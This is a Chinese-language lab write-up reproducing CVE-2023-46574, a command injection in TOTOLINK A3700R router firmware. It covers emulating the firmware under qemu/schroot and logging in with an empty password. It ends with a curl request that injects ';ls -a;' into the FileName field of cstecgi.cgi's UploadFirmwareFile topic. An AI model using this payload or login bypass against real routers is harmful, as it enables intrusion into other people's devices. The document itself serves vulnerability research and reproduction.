TOTOLINK命令执行 CVE-2023-46574

搭建 qemu mipsel 环境

sudo apt-get install schroot debootstrap
ubuntu20
debootstrap --arch=mipsel bookworm /iotconfig/debootstrap/mipsel https://mirrors.aliyun.com/debian


然后配置schroot

sudo vim /etc/schroot/chroot.d/mipsel.conf
[mipsel]
type=directory
directory=/iotconfig/debootstrap/mipsel/
users=root
groups=root
root-groups=root

然后就可以看到已经配置上了


之后直接schroot进入

sudo schroot -c chroot:mipsel -u root

漏洞分析

在cstecgi.cgi程序中


FileName没有检查放入doSystem,所以这里有命令执行漏洞

固件模拟

sudo binwalk --run-as=root -Me TOTOLINK_A3700R_V9.1.2u.6165_20211012.web


查看目录,里面有个lighttpd文件夹,所以这里用的是lighttpd服务


在lighttpd目录下找到了配置文件


这里lighttpd是通过 lighttpd -f [配置文件]来启动的

sudo cp -r squashfs-root /iotconfig/debootstrap/mipsel/root/

然后将squashfs-root复制到安装的mipsel系统上


进入mipsel系统,然后再chroot进入squashfs-root目录下

sudo schroot -c chroot:mipsel -u root
chroot squashfs-root/


然后直接启动服务即可

lighttpd -f lighttp/lighttpd.conf

这里如果没启动成功,只需要在/var/run目录下创建一个lighttpd.pid文件即可
mkdir /var/run
touch /var/run/lighttpd.pid

然后就能进入路由器登录界面了

绕过登录

因为没设置密码,所以直接抓包,空密码登录


没直接进入,但是可以看到地址
http://127.0.0.1/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login


直接访问即可

命令执行

拿到session id

curl http://127.0.0.1/cgi-bin/cstecgi.cgi -b "SESSION_ID=2:1708017806:2" -X POST -d '{"topicurl":"UploadFirmwareFile","FileName":";ls -a;"}'